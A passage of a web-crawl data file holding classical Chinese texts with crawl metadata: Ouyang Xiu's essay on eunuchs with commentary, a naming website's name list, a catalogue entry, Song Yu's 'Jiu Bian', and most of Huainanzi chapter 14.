吳香倫\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E9%99%B3%E9%9D%96%E9%9B%B2------------.html","date":"2020-10-19T21:56:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107866404.1\/warc\/CC-MAIN-20201019203523-20201019233523-00435.warc.gz","language":"lzh","language_score":0.7724174857,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7724174857139587, \"cmn_Hani_score\": 0.13895168900489807, \"nan_Hani_score\": 0.08252421766519547}","num_words":275,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.797,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n五代史宦者傳論 歐陽修\n自古宦者亂人之國、其源深於女禍。女、色而已。宦者之害、非一端也。自來婦與寺只是並提、此特與極力分出。蓋其用事也近而習、其爲心也專而忍。先總挈二句、是宦者爲害之根、下文俱從此轉出。能以小善中人之意、小信固人之心、使人主必信而親之。宦者之害、一轉。待其已信、然後懼以禍福而把持之。雖有忠臣碩士列于朝廷、而人主以爲去己疎遠、不若起居飲食、前後左右之親爲可恃也。宦者之害、二轉。故前後左右者日益親、則忠臣碩士日益疎、而人主之勢日益孤。勢孤、則懼禍之心日益切、而把持者日益牢。安危出其喜怒、禍患伏於帷闥。則嚮之所謂可恃者、乃所以爲患也。宦者之害、三轉。患已深而覺之、欲與疎遠之臣、圖左右之親近。緩之則養禍而益深、急之則挾人主以爲質。至、雖有聖智、不能與謀。宦者之害、四轉。謀之而不可爲、爲之而不可成、至其甚、則俱傷而兩敗。故其大者亡國、其次亡身、而使姦豪得借以爲資而起。至抉淵入聲、其種類、盡殺以快天下之心而後已。董卓因而亡漢、朱溫因而篡唐、千古同轍。 ○宦者之害、五轉。此前史所載宦者之禍常如此者、非一世也。應前自古二字、總兜一句。夫爲人主者、非欲養禍於內、而疎忠臣碩士於外、蓋其漸積而勢使之然也。放寬一步、正是打緊一步、履霜之戒、可不慎歟。夫女色之惑、不幸而不悟、則禍斯及矣。使其一悟、捽卒、而去之可也。持頭髮曰捽。宦者之爲禍、雖欲悔悟、而勢有不得而去也。唐昭宗之事是已。昭宗與崔胤謀誅宦官、宦官懼。劉季述等乃以銀撾畫地、數上罪數十、幽上于少陽院、而立太子裕。故曰深於女禍者、謂此也、可不戒哉。結段申前深于女禍一句、最深切著明、可爲痛戒。\n宦官之禍、之漢唐而極。篇中詳悉寫盡。凡作無數層次、轉折不窮、只是深于女禍一句意。名論卓然、可爲千古龜鑑。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/neodu.com\/%E3%80%8A%E4%BA%94%E4%BB%A3%E5%8F%B2%E5%AE%A6%E8%80%85%E5%82%B3%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2020-10-29T07:03:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107903419.77\/warc\/CC-MAIN-20201029065424-20201029095424-00435.warc.gz","language":"lzh","language_score":0.4778721631,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.47787216305732727, \"cmn_Hani_score\": 0.25141626596450806, \"jpn_Jpan_score\": 0.049092404544353485, \"wuu_Hani_score\": 0.03407908231019974, \"zxx_Latn_score\": 0.03238704800605774, \"nan_Hani_score\": 0.02694731578230858, \"und_Tang_score\": 0.02255125530064106, \"yue_Hani_score\": 0.021206077188253403}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.478,"perplexity_score":500.0,"cluster_detection":1} +{"text":"趙止若 趙芷珩 趙芷君 趙芷林 趙芷凌 趙芷蔓 趙芷萌 趙芷墨 趙芷琪 趙芷若 趙芷姍 趙芷珊 趙芷葶 趙芷彤 趙芷桐 趙芷僮 趙芷瞳 趙芷賢 趙芷硯 趙芷攸 趙芷猶 趙芷游 趙芷幼 趙芷韻 趙芷璋 趙芷真 趙志成 趙志承 趙志誠 趙志春 趙志帆 趙志峰 趙志福 趙志虎 趙志杰 趙志寬 趙志利 趙志民 趙志鳴 趙志平 趙志強 趙志儒 趙志杉 趙志桐 趙志為 趙志儀 趙志義 趙志勇 趙志緣 趙志遠 趙治儀 趙治臻 趙秩選 趙智多 趙智慧 趙智嵐 趙智瀾 趙智民 趙智明 趙智楠 趙智晴 趙智心 趙智欣 趙智馨 趙智淵 趙智遠 趙稚硯 趙中華 趙中杰 趙中愷 趙中鍇 趙中天 趙中通 趙忠才 趙忠杰 趙忠祥 趙忠義 趙鐘海 趙重錦 趙周利 趙朱柯 趙竹林 趙柱良 趙祝海 趙祝河 趙祝江 趙祝源 趙妝如 趙壯志 趙卓群 趙倬正\n趙仔珩 趙孜涵 趙孜彥 趙茲涵 趙姿淇 趙滋涵 趙滋蔓 趙籽海 趙籽吉 趙籽昱 趙籽哲 趙子安 趙子倉 趙子塵 趙子誠 趙子凡 趙子峰 趙子晗 趙子涵 趙子杭 趙子航 趙子豪 趙子恒 趙子珩 趙子華 趙子驥 趙子薦 趙子坤 趙子蘭 趙子林 趙子龍 趙子淇 趙子茜 趙子秋 趙子瑞 趙子睿 趙子太 趙子嫻 趙子驍 趙子行 趙子軒 趙子旋 趙子琰 趙子硯 趙子陽 趙子耀 趙子燁 趙子儀 趙子瑜 趙子煜 趙子越 趙子云 趙子哲 趙梓博 趙梓晨 趙梓丞 趙梓海 趙梓含 趙梓晗 趙梓涵 趙梓焓 趙梓杭 趙梓航 趙梓珩 趙梓鈞 趙梓良 趙梓楠 趙梓舒 趙梓彤 趙梓晰 趙梓伊 趙梓盈 趙梓妤 趙梓珍 趙紫宸 趙紫晨 趙紫恩 趙紫帆 趙紫菲 趙紫涵 趙紫豪 趙紫慧 趙紫佳 趙紫梁 趙紫袍 趙紫清 趙紫晴 趙紫騰 趙紫藤 趙紫威\n趙紫微 趙紫唯 趙紫煒 趙紫欣 趙紫萱 趙紫璇 趙紫焉 趙紫硯 趙紫陽 趙紫儀 趙紫悠 趙自豪 趙自厚 趙自鳴 趙自強 趙自如 趙自儀 趙宗光 趙宗平\n古語云\"寧可生錯命,不可起錯名\",一個好的名字,不僅給別人印象深刻,而且還關系到人一生的事業、婚姻、健康和人際關系。名字筆畫五行不要和命譜四柱五行相聯系,它本身五格部象的五行相生相克是其本身獨立一格的五行,與命譜五行沒有聯系的,無須考慮筆畫五行來選名字,但名字的筆畫五行在五格剖象中要五行相生,不能相克。起名網(www.438yhhd.com)基于以上原則和自動生成算法,只需要輸入你的姓氏可以免費為你推薦比較好的名字以及詳細的命理、運程、吉兇解析。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.438yhhd.com\/xing\/x1_1_0_6.html","date":"2023-03-25T00:59:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945292.83\/warc\/CC-MAIN-20230325002113-20230325032113-00001.warc.gz","language":"lzh","language_score":0.9000499249,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9000499248504639, \"nan_Hani_score\": 0.09969650208950043}","num_words":201,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.901,"perplexity_score":500.0,"cluster_detection":1} +{"text":"集部五十 詩文評類存目\n緑天耕舍燕鈔 四卷\n兩淮鹽政採進本\n不著撰人名氏。但署曰雪疇子輯。不知何許人也。其書雜取明人論詩之語。綴合成編。無所發明考證。大旨排王李而主鍾譚。殆當萬歷天啓之閒。詩歸盛行之後歟。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0441105.html","date":"2017-04-28T23:41:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123102.83\/warc\/CC-MAIN-20170423031203-00393-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4093346894,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4093346893787384, \"cmn_Hani_score\": 0.40473487973213196, \"yue_Hani_score\": 0.11273230612277985, \"jpn_Jpan_score\": 0.033019524067640305, \"wuu_Hani_score\": 0.01905890554189682, \"nan_Hani_score\": 0.014821582473814487}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.409,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭九辯 宋玉\n悲哉秋之為氣也!蕭瑟兮草木搖落而變衰,憭慄兮若在遠行,登山臨水兮送將歸,泬寥兮天高而氣清,𡧯𡽐兮收潦而水清,憯悽增欷兮薄寒之中人,愴怳懭悢兮去故而就新,坎廩兮貧士失職而志不平,廓落兮羇旅而無友生。惆悵兮而私自憐。燕翩翩其辭歸兮,蟬𡧯漠而無聲。鴈廱廱而南游兮,鵾雞啁哳而悲鳴。獨申旦而不寐兮,哀蟋蟀之宵征。時亹亹而過中兮,蹇淹留而無成。\n悲憂窮戚兮獨處廓,有美一人兮心不繹。去鄉離家兮徠遠客,超逍遙兮今焉薄?專思君兮不可化,君不知兮可柰何!蓄怨兮積思,心煩憺兮忘食事。願一見兮道余意,君之心兮與余異。車既駕兮朅而歸,不得見兮心傷悲。倚結軨兮長太息,涕潺湲兮下霑軾。忼慨絕兮不得,中瞀亂兮迷惑。私自憐兮何極?心怦怦兮諒直。\n皇天平分四時兮,竊獨悲此廩秋。白露既下百草兮,奄離披此梧楸。去白日之昭昭兮,襲長夜之悠悠。離芳藹之方壯兮,余萎約而悲愁。秋既先戒以白露兮,冬又申之以嚴霜。收恢臺之孟夏兮,然欿傺而沉藏。葉菸邑而無色兮,枝煩挐而交橫;顏淫溢而將罷兮,柯彷彿而萎黃;萷櫹槮之可哀兮,形銷鑠而瘀傷。惟其紛糅而將落兮,恨其失時而無當。擥騑轡而下節兮,聊逍遙以相佯。歲忽忽而遒盡兮,恐余壽之弗將。悼余生之不時兮,逢此世之俇攘。澹容與而獨倚兮,蟋蟀鳴此西堂。心怵惕而震盪兮,何所憂之多方!卬明月而太息兮,步列星而極明。\n竊悲夫蕙華之曾敷兮,紛旖旎乎都房。何曾華之無實兮,從風雨而飛颺。以為君獨服此蕙兮,羌無以異於眾芳。閔奇思之不通兮,將去君而高翔。心閔憐之慘悽兮,願一見而有明。重無怨而生離兮,中結軫而增傷。豈不鬱陶而思君兮?君之門以九重。猛犬狺狺而迎吠兮,關梁閉而不通。皇天淫溢而秋霖兮,后土何時而得漧!塊獨守此無澤兮,仰浮雲而永歎。\n何時俗之工巧兮,背繩墨而改錯!卻騏驥而不乘兮,策駑駘而取路。當世豈無騏驥兮,誠莫之能善御。見執轡者非其人兮,故駶跳而遠去。鳧鴈皆唼夫粱藻兮,鳳愈飄翔而高舉。圜鑿而方枘兮,吾固知其鉏鋙而難入。眾鳥皆有所登棲兮,鳳獨遑遑而無所集。願銜枚而無言兮,嘗被君之渥洽。太公九十乃顯榮兮,誠未遇其匹合。謂騏驥兮安歸?謂鳳皇兮安棲?變古易俗兮世衰,今之相者兮舉肥。騏驥伏匿而不見兮,鳳皇高飛而不下。鳥獸猶知懷德兮,何云賢士之不處?驥不驟進而求服兮,鳳亦不貪餧而妄食。君弃遠而不察兮,雖願忠其焉得?欲寂漠而絕端兮,竊不敢忘初之厚德。獨悲愁其傷人兮,馮鬱鬱其何極?\n霜露慘悽而交下兮,心尚𡴘其弗濟。霰雪雰糅其增加兮,乃知遭命之將至。願徼幸而有待兮,泊莽莽與壄草同死。願自往而徑游兮,路壅絕而不通。欲循道而平驅兮,又未知其所從。然中路而迷惑兮,自壓桉而學誦。性愚陋以褊淺兮,信未達乎從容。\n竊美申包胥之氣盛兮,恐時世之不固。何時俗之工巧兮?滅規榘而改鑿。獨耿介而不隨兮,願慕先聖之遺教。處濁世而顯榮兮,非余心之所樂。與其無義而有名兮,寧窮處而守高。食不媮而為飽兮,衣不苟而為溫。竊慕詩人之遺風兮,願託志乎素餐。蹇充倔而無端兮,泊莽莽而無垠。無衣裘以御冬兮,恐溘死不得見乎陽春。\n靚杪秋之遙夜兮,心繚悷而有哀。春秋逴逴而日高兮,然惆悵而自悲。四時遞來而卒歲兮,陰陽不可與儷偕。白日晼晚其將入兮,明月銷鑠而減毀。歲忽忽而遒盡兮,老冉冉而愈㢮。心搖悅而日𡴘兮,然怊悵而無冀。中憯惻之悽愴兮,長太息而增欷。年洋洋以日往兮,老嵺廓而無處。事亹亹而覬進兮,蹇淹留而躊躇。\n何氾濫之浮雲兮,猋壅蔽此明月!忠昭昭而願見兮,然霠曀而莫達。願皓日之顯行兮,雲蒙蒙而蔽之。竊不自聊而願忠兮,或黕點而汙之。堯舜之抗行兮,瞭冥冥而薄天。何險巇之嫉妒兮,被以不慈之偽名?彼日月之照明兮,尚黯黮而有瑕。何況一國之事兮,亦多端而膠加。被荷裯之晏晏兮,然潢洋而不可帶。既驕美而伐武兮,負左右之耿介。憎慍惀之脩美兮,好夫人之慷慨。眾踥蹀而日進兮,美超遠而逾邁。農夫輟耕而容與兮,恐田野之蕪穢。事緜緜而多私兮,竊悼後之危敗。世雷同而炫曜兮,何毀譽之昧昧!今脩飾而窺鏡兮,後尚可以竄藏。願寄言夫流星兮,羌儵忽而難當。卒壅蔽此浮雲兮,下暗漠而無光。\n堯舜皆有所舉任兮,故高枕而自適。諒無怨於天下兮,心焉取此怵惕?乘騏驥之瀏瀏兮,馭安用夫強策?諒城郭之不足恃兮,雖重介之何益?邅翼翼而無終兮,忳惛惛而愁約。生天地之若過兮,功不成而無効。願沈滯而不見兮,尚欲布名乎天下。然潢洋而不遇兮,直怐愗而自苦。莽洋洋而無極兮,忽翱翔之焉薄?國有驥而不知椉兮,焉皇皇而更索?寧戚謳於車下兮,桓公聞而知之。無伯樂之善相兮,今誰使乎譽之。罔流涕以聊慮兮,惟著意而得之。紛純純之願忠兮,妬被離而鄣之。\n亂曰:願賜不肖之軀而別離兮,放游志乎雲中。椉精氣之摶摶兮,騖諸神之湛湛。驂白霓之習習兮,歷群靈之豐豐。左朱雀之茇茇兮,右蒼龍之躣躣。屬雷師之闐闐兮,通飛廉之衙衙。前輊輬之鏘鏘兮,後輜乘之從從。載雲旗之委蛇兮,扈屯騎之容容。計專專之不可化兮,願遂推而為臧。賴皇天之厚德兮,還及君之無恙。","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/xn--5rtnx620bw5s.tw\/i\/i01\/08.htm","date":"2017-05-25T20:01:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608416.96\/warc\/CC-MAIN-20170525195400-20170525215400-00116.warc.gz","language":"lzh","language_score":0.8379654884,"language_script":"Hani","minhash_cluster_size":15,"top_langs":"{\"lzh_Hani_score\": 0.8379654884338379, \"nan_Hani_score\": 0.06008998677134514, \"cmn_Hani_score\": 0.02170742303133011}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.471,"perplexity_score":500.0,"cluster_detection":1} +{"text":"文学\n> 佛教\n目录卷十四 詮言訓\n洞同天地,渾沌為樸,未造而成物,謂之太一。同出於一,所為各異,有鳥有魚有獸,謂之分物。方以類別,物以群分,性命不同,皆形於有。隔而不通,分而為萬物,莫能及宗,故動而謂之生,死而謂之窮。皆為物矣,非不物而物物者也,物物者亡乎萬物之中。稽古太初,人生於無,形於有,有形而制於物。能反其所生,若未有形,謂之真人。真人者,未始分於太一者也。聖人不為名尸,不為謀府,不為事任,不為智主。藏無形,行無跡,遊無朕。不為福先,不為禍始。保於虛無,動於不得已。欲福者或為禍,欲利者或離害。故無為而寧者,失其所以寧則危;無事而治者,失其所以治則亂。星列於天而明,故人指之;義列於德而見,故人視之。人之所指,動則有章;人之所視,行則有跡。動有章則詞,行有跡則議,故聖人揜明於不形,藏跡於無為。王子慶忌死於劍,羿死於桃棓,子路葅於衛,蘇秦死於口。人莫不貴其所有,而賤其所短,然而皆溺其所貴,而極其所賤,所貴者有形,所賤者無朕也。故虎豹之彊來射,蝯貁之捷來措。人能貴其所賤,賤其所貴,可與言至論矣。自信者不可以誹譽遷也,知足者不可以勢利誘也,故通性之情者,不務性之所無以為;通命之情者,不憂命之所無奈何;通於道者,物莫不足滑其調。詹何曰:「未嘗聞身治而國亂者也。未嘗聞身亂而國治者也。」矩不正,不可以為方;規不正,不可以為員;身者,事之規矩也。未聞枉己而能正人者也。原天命,治心術,理好憎,適情性,則治道通矣。原天命則不惑禍福,治心術則不妄喜怒,理好憎則不貪無用,適情性則欲不過節。不惑禍福則動靜循理,不妄喜怒則賞罰不阿,不貪無用則不以欲用害性,欲不過節則養性知足。凡此四者,弗求於外,弗假於人,反己而得矣。天下不可以智為也,不可以慧識也,不可以事治也,不可以仁附也,不可以強勝也。五者,皆人才也,德不盛,不能成一焉。德立則五無殆,五見則德無位矣。故得道則愚者有餘,失道則智者不足。渡水而無游數,雖強必沉;有游數,雖羸必遂;又況託於舟航之上乎!為治之本,務在於安民。安民之本,在於足用。足用之本,在於勿奪時。勿奪時之本,在於省事。省事之本,在於節欲。節欲之本,在於反性。反性之本,在於去載。去載則虛,虛則平。平者,道之素也;虛者,道之舍也。能有天下者必不失其國,能有其國者必不喪其家,能治其家者必不遺其身,能脩其身者必不忘其心,能原其心者必不虧其性,能全其性者必不惑於道。故廣成子曰:「慎守而內,周閉而外。多知為敗,毋親毋聽。抱神以靜,形將自正。不得之己而能知彼者,未之有也。」故易曰:「括囊,無咎無譽。」能成霸王者,必得勝者也;能勝敵者,必強者也;能強者,必用人力者也;能用人力者,必得人心也;能得人心者,必自得者也;能自得者,必柔弱也。強勝不若己者,至於與同則格;柔勝出於己者,其力不可度。故能以眾不勝成大勝者,唯聖人能之。善游者,不學刺舟而便用之;勁?者,不學騎馬而便居之。輕天下者,身不累於物,故能處之。泰王亶父處邠,狄人攻之,事之以皮幣珠玉而不聽,乃謝耆老而徙岐周,百姓攜幼扶老而從之,遂成國焉。推此意,四世而有天下,不亦宜乎!無以天下為者,必能治天下者。霜雪雨露,生殺萬物,天無為焉,猶之貴天也。厭文搔法,治官理民者,有司也,君無事焉,猶尊君也。辟地墾草者,后稷也;決河濬江者,禹也;聽獄制中者,皋陶也;有聖名者,堯也。故得道以御者,身雖無能,必使能者為己用。不得其道,伎藝雖多,未有益也。方船濟乎江,有虛船從一方來,觸而覆之,雖有忮心,必無怨色。有一人在其中,一謂張之,一謂歙之,再三呼而不應,必以醜聲隨其後。向不怒而今怒,向虛而今實也。人能虛己以遊於世,孰能訾之!釋道而任智者必危,棄數而用才者必困。有以欲多而亡者,未有以無欲而危者也;有以欲治而亂者,未有以守常而失者也。故智不足免患,愚不足以至於失寧。守其分,循其理,失之不憂,得之不喜,故成者非所為也,得者非所求也。入者有受而無取,出者有授而無予,因春而生,因秋而殺,所生者弗德,所殺者非怨,則幾於道也。聖人不為可非之行,不憎人之非己也;修足譽之德,不求人之譽己也。不能使禍不至,信己之不迎也;不能使福必來,信己之不攘也。禍之至也,非其求所生,故窮而不憂;福之至也,非其求所成,故通而弗矜。知禍福之制不在於己也,故閒居而樂,無為而治。聖人守其所以有,不求其所未得。求其所無,則所有者亡矣;修其所有,則所欲者至。故用兵者,先為不可勝,以待敵之可勝也;治國者,先為不可奪,以待敵之可奪也。舜修之歷山而海內從化,文王修之岐周而天下移風。使舜趨天下之利,而忘修己之道,身猶弗能保,何尺地之有!故治未固於不亂,而事為治者,必危;行未固於無非,而急求名者,必剉也。福莫大無禍,利莫美不喪。動之為物,不損則益,不成則毀,不利則病,皆險也,道之者危。故秦勝乎戎而敗乎殽,楚勝乎諸夏而敗乎柏莒。故道不可以勸而就利者,而可以寧避害者。故常無禍,不常有福;常無罪,不常有功。聖人無思慮,無設儲,來者弗迎,去者弗將。人雖東西南北,獨立中央。故處眾枉之中,不失其直;天下皆流,獨不離其壇域。故不為善,不避醜,遵天之道;不為始,不專己,循天之理。不豫謀,不棄時,與天為期;不求得,不辭福,從天之則。不求所無,不失所得,內無旁禍,外無旁福。禍福不生,安有人賊!為善則觀,為不善則議;觀則生貴,議則生患。故道術不可以進而求名,而可以退而修身;不可以得利,而可以離害。故聖人不以行求名,不以智見譽。法修自然,己無所與。慮不勝數,行不勝德,事不勝道。為者有不成,求者有不得。人有窮,而道無不通,與道爭則凶。故詩曰:「弗識弗知,順帝之則。」有智而無為,與無智者同道;有能而無事,與無能者同德。其智也,告之者至,然後覺其動也;使之者至,然後覺其為也。有智若無智,有能若無能,道理為正也。故功蓋天下,不施其美;澤及後世,不有其名;道理通而人偽滅也。名與道不兩明,人受名則道不用,道勝人則名息矣。道與人競長。章人者,息道者也。人章道息,則危不遠矣。故世有盛名,則衰之日至矣。欲尸名者必為善,欲為善者必生事,事生則釋公而就私,貨數而任己。欲見譽於為善,而立名於為質,則治不修故,而事不須時。治不修故,則多責;事不須時,則無功。責多功鮮,無以塞之,則妄發而邀當,妄為而要中。功之成也,不足以更責;事之敗也,不足以獘身。故重為善若重為非,而幾於道矣。天下非無信士也,臨貨分財必探籌而定分,以為有心者之於平,不若無心者也。天下非無廉士也,然而守重寶者必關戶而全封,以為有欲者之於廉,不若無欲者也。人舉其疵則怨人,鑑見其醜則善鑑。人能接物而不與己焉,則免於累矣。公孫龍粲於辭而貿名,鄧析巧辯而亂法,蘇秦善說而亡國。由其道則善無章,脩其理則巧無名。故以巧鬥力者,始於陽,常卒於陰;以慧治國者,始於治,常卒於亂。使水流下,孰弗能治;激而上之,非巧不能。故文勝則質揜,邪巧則正塞之也。德可以自修,而不可以使人暴;道可以自治,而不可以使人亂。雖有聖賢之寶,不遇暴亂之世,可以全身,而未可以霸王也。湯、武之王也,遇桀、紂之暴也。桀、紂非以湯、武之賢暴也,湯、武遭桀、紂之暴而王也。故雖賢王,必待遇。遇者,能遭於時而得之也,非智能所求而成也。君子修行而使善無名,布施而使仁無章,故士行善而不知善之所由來,民澹利而不知利之所由出,故無為而自治。善有章則士爭名,利有本則民爭功,二爭者生,雖有賢者,弗能治。故聖人揜跡於為善,而息名於為仁也。外交而為援,事大而為安,不若內治而待時。凡事人者,非以寶幣,必以卑辭。事以玉帛,則貨殫而欲不饜;卑體婉辭,則諭說而交不結;約束誓盟,則約定而反無日;雖割國之錙錘以事人,而無自恃之道,不足以為全。若誠外釋交之策,而慎修其境內之事,盡其地力以多其積,厲其民死以牢其城,上下一心,君臣同志,與之守社稷,?死而民弗離,則為名者不伐無罪,而為利者不攻難勝,此必全之道也。民有道所同道,有法所同守,為義之不能相固,威之不能相必也,故立君以一民。君執一則治,無常則亂。君道者,非所以為也,所以無為也。何謂無為?智者不以位為事,勇者不以位為暴,仁者不以位為患,可謂無為矣。夫無為,則得於一也。一也者,萬物之本也,無敵之道也。凡人之性,少則猖狂,壯則暴強,老則好利。一身之身既數變矣,又況君數易法,國數易君!人以其位通其好憎,下之徑衢不可勝理,故君失一則亂,甚於無君之時。故詩曰:「不愆不忘,率由舊章。」此之謂也。君好智,則倍時而任己,棄數而用慮。天下之物博而智淺,以淺澹博,未有能者也。獨任其智,失必多矣。故好智,窮術也;好勇,則輕敵而簡備,自偩而辭助。一人之力以禦強敵,不杖眾多而專用身才,必不堪也。故好勇,危術也。好與,則無定分。上之分不定,則下之望無止。若多賦斂,實府庫,則與民為讎。少取多與,數未之有也。故好與,來怨之道也。仁智勇力,人之美才也,而莫足以治天下。由此觀之,賢能之不足任也,而道術之可修明矣。聖人勝心,眾人勝欲。君子行正氣,小人行邪氣。內便於性,外合於義,循理而動,不繫於物者,正氣也。重於滋味,淫於聲色,發於喜怒,不顧後患者,邪氣也。邪與正相傷,欲與性相害,不可兩立。一置一廢,故聖人損欲而從事於性。目好色,耳好聲,口好味,接而說之。不知利害嗜慾也,食之不寧於體,聽之不合於道,視之不便於性。三官交爭,以義為制者,心也。割痤疽非不痛也,飲毒藥非不苦也,然而為之者,便於身也。渴而飲水非不快也,飢而大飧非不澹也,然而弗為者,害於性也。此四者,耳目鼻口不知所取去,心為之制,各得其所。由是觀之,欲之不可勝,明矣。凡治身養性,節寢處,適飲食,和喜怒,便動靜,使在己者得,而邪氣因而不生,豈若憂瘕疵之與痤疽之發,而豫備之哉!夫函牛之鼎沸而蠅蚋弗敢入,昆山之玉瑱而塵垢弗能污也。聖人無去之心而心無醜,無取之美而美不失。故祭祀思親不求福,饗賓修敬不思德,唯弗求者能有之。處尊位者,以有公道而無私說,故稱尊焉,不稱賢也;有大地者,以有常術而無鈐謀,故稱平焉,不稱智也。內無暴事以離怨於百姓,外無賢行以見忌於諸侯,上下之禮,襲而不離,而為論者莫然不見所觀焉,此所謂藏無形者。非藏無形,孰能形!三代之所道者,因也。故禹決江河,因水也;后稷播種樹穀,因地也;湯、武平暴亂,因時也。故天下可得而不可取也,霸王可受而不可求也。在智則人與之訟,在力則人與之爭。未有使人無智者,有使人不能用其智於己者也;未有使人無力者,有使人不能施其力於己者也。此兩者常在久見。故君賢不見,諸侯不備;不肖不見,則百姓不怨。百姓不怨則民用可得,諸侯弗備則天下之時可承。事所與眾同也,功所與時成也,聖人無焉。故老子曰:「虎無所措其爪,兕無所措其角。」蓋謂此也。鼓不滅於聲,故能有聲;鏡不沒於形,故能有形。金石有聲,弗叩弗鳴;管簫有音,弗吹無聲。聖人內藏,不為物先倡,事來而制,物至而應。飾其外者傷其內,扶其情者害其神,見其文者蔽其質。無須臾忘為質者,必困於性;百步之中不忘其容者,必累其形。故羽翼美者傷骨骸,枝葉美者害根莖,能兩美者,天下無之也。天有明,不憂民之晦也,百姓穿戶鑿牖,自取照焉。地有財,不憂民之貧也,百姓伐木芟草,自取富焉。至德道者若丘山,嵬然不動,行者以為期也。直己而足物,不為人贛,用之者亦不受其德,故寧而能久。天地無予也,故無奪也;日月無德也,故無怨也。喜德者必多怨,喜予者必善奪。唯滅跡於無為,而隨天地自然者,唯能勝理而為受名。名興則道行,道行則人無位矣。故譽生則毀隨之,善見則怨從之。利則為害始,福則為禍先。唯不求利者為無害,唯不求福者為無禍。侯而求霸者必失其侯,霸而求王者必喪其霸。故國以全為常,霸王其寄也;身以生為常,富貴其寄也。能不以天下傷其國,而不以國害其身者,焉可以託天下也。不知道者,釋其所已有,而求其所未得也。苦心愁慮以行曲,故福至則喜,禍至則怖,神勞於謀,智遽於事,禍福萌生,終身不悔,己之所生,乃反愁人。不喜則憂,中未嘗平,持無所監,謂之狂生。人主好仁,則無功者賞,有罪者釋;好刑,則有功者廢,無罪者誅。及無好者,誅而無怨,施而不德,放準循繩,身無與事,若天若地,何不覆載。故合而舍之者君也,制而誅之者法也,民已受誅,怨無所滅,謂之道。道勝,則人無事矣。聖人無屈奇之服,無瑰異之行,服不視,行不觀,言不議,通而不華,窮而不懾,榮而不顯,隱而不窮,異而不見怪,容而與眾同,無以名之,此之謂大通。升降揖讓,趨翔周遊,不得已而為也,非性所有於身,情無符檢,行所不得已之事,而不解構耳,豈加故為哉!故不得已而歌者,不事為悲;不得已而舞者,不矜為麗。歌舞而不事為悲麗者,皆無有根心者。善博者不欲牟,不恐不勝,平心定意,捉得其齊,行由其理,雖不必勝,得籌必多。何則?勝在於數,不在於欲。駎者不貪最先,不恐獨後,緩急調乎手,御心調乎馬,雖不能必先載,馬力必盡矣。何則?先在於數,而不在於欲也。是故滅欲則數勝,棄智則道立矣。賈多端則貧,工多技則窮,心不一也。故木之大者害其條,水之大者害其深。有智而無術,雖鑽之不通;有百技而無一道,雖得之弗能守。故詩曰:「淑人君子,其儀一也。其儀一也,心如結也。」君子其結於一乎!舜彈五絃之琴,而歌南風之詩,以治天下。周公殽臑不收於前,鐘鼓不解於縣,以輔成王而海內平。匹夫百●一守,不遑啟處,無所移之也。以一人兼聽天下,日有餘而治不足,使人為之也。處尊位者如尸,守官者如祝宰。尸雖能剝狗燒彘,弗為也,弗能無虧;俎豆之列次,黍稷之先後,雖知弗教也,弗能害也。不能祝者,不可以為祝,無害於為尸;不能御者,不可以為僕,無害於為佐。故位愈尊而身愈佚,身愈大而事愈少。譬如張琴,小絃雖急,大絃必緩。無為者,道之體也;執後者,道之容也。無為制有為,術也;執後之制先,數也。放於術則強,審於數則寧。今與人卞氏之璧,未受者,先也;求而致之,雖怨不逆者,後也。三人同舍,二人相爭,爭者各自以為直,不能相聽,一人雖愚,必從旁而決之,非以智,不爭也。兩人相鬥,一羸在側,助一人則勝,救一人則免,鬥者雖強,必制一羸,非以勇也,以不鬥也。由此觀之,後之制先,靜之勝躁,數也。倍道棄數,以求苟遇,變常易故,以知要遮,過則自非,中則以為候,闇行繆改,終身不寤,此之謂狂。有禍則詘,有福則嬴,有過則悔,有功則矜,遂不知反,此謂狂人。員之中規,方之中矩,行成獸,止成文,可以將少,而不可以將眾。蓼菜成行,瓶甌有堤,量粟而舂,數米而炊,可以治家,而不可以治國。滌杯而食,洗爵而飲,浣而後饋,可以養家老,而不可以饗三